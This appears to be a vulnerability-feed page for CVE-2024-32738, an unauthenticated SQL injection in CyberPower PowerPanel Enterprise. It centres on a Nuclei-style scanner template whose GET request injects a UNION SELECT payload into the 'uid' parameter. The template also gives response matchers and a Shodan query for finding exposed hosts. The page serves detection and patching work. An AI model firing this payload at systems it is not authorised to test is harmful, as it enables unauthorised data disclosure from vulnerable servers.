CVE-2024-32738: CyberPower - SQL Injection

2025-08-01 CyberPower PoC Public

Description

A sql injection vulnerability exists in CyberPower PowerPanel Enterprise prior to v2.8.3.

PoC

id: CVE-2024-32738

info:
  name: CyberPower - SQL Injection
  author: DhiyaneshDk
  severity: high
  description: |
    A sql injection vulnerability exists in CyberPower PowerPanel Enterprise prior to v2.8.3.
  remediation: |
    Upgrade CyberPower PowerPanel Enterprise to version 2.8.3 or later to address the SQL injection vulnerability.
  impact: |
    An unauthenticated remote attacker can leak sensitive information via the "query_ptask_lean" function within MCUDBHelper.
  reference:
    - https://www.cyberpower.com/global/en/File/GetFileSampleByType?fileId=SU-18070002-07&fileSubType=FileReleaseNote
    - https://www.tenable.com/security/research/tra-2024-14
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32738
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-32738
    cwe-id: CWE-89
    epss-score: 0.04553
    epss-percentile: 0.91108
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"<title>PDNU</title>"
  tags: cve,cve2024,cyberpower,sqli,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/ndconfig?mode=lean&uid=1'%20UNION%20select%201,2,3,sqlite_version();--"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ':"finished"'
          - '"success":'
          - 'modifiedtime":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '"modifiedtime":"([0-9.]+)"'
# digest: 4a0a00473045022100885ca25bc28430b6546e868ad0901efc9b1e1fa98e6dfd188d856584d27e982a022053baba144ef9f65d0e6059cce64b40b7213e231cdecd1a7fd14f8ecff7216509:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities